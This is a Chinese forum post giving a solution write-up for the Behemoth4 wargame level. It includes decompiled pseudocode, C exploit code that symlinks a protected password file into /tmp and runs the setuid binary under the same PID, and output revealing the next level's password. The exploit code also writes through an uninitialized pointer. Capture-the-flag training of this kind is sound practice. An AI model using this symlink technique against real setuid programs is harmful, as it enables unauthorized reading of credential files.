首页
论坛
课程
招聘
[原创]WarGame-behemoth4 解题思路
2019-9-10 15:13 4906

[原创]WarGame-behemoth4 解题思路

2019-9-10 15:13
4906

Behemoth4的伪代码如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-28h]@1
  int c; // [sp+14h] [bp-14h]@4
  FILE *stream; // [sp+18h] [bp-10h]@1
  int v7; // [sp+1Ch] [bp-Ch]@1

  v7 = getpid();
  sprintf(&s, "/tmp/%d", v7);
  stream = fopen(&s, "r");
  if ( stream )
  {
    sleep(1u);
    puts("Finished sleeping, fgetcing");
    while ( 1 )
    {
      c = fgetc(stream);
      if ( c == -1 )
        break;
      putchar(c);
    }
    fclose(stream);
  }
  else
  {
    puts("PID not found!");
  }
  return 0;
}

将这题单独发出是因为这题可以让新人学习一下C语言的用法;经测试,pwntools并不能在程序执行完成之前创建一个软连接,也就是说Python的执行速度还不够快,所以我选择C;这里还可以顺便讲一下execve(“/behemoth/behemoth4”)和system(“/behemoth/behemoth4”)之间的区别,虽然结果都是执行了behemoth4,但是system函数相当于用shell command的方式执行,PID会改变,而execve是将目标程序替换到当前进程中,大致可以理解为新开了一个线程来执行,PID不变,所以这里的getpid得到的就是behemoth4的pid,攻击代码如下

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <strings.h>

int main()
{
	int pid;
	char *s;
    char *argv[2] = {"/behemoth/behemoth4",0};
    sprintf(&s,"ln -s /etc/behemoth_pass/behemoth5 /tmp/%d",getpid());
    system(&s);
execve("/behemoth/behemoth4",argv,0);
return 0;
}

执行结果如下

behemoth5@behemoth:/tmp/pure/gavin$ ./behemoth4_exp
Finished sleeping, fgetcing
aizeeshing

小结

附件是可执行文件



[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 4258
活跃值: 活跃值 (1193)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2019-9-11 09:39
2
0
补充一点,这题的据我所知还有一种解法,那就是预测PID,事实上Linux的进程ID是可以预测的,不过我没做,如果有大佬按照这种方法做出来了别忘了写writeupO(∩_∩)O哈哈~
游客
登录 | 注册 方可回帖
返回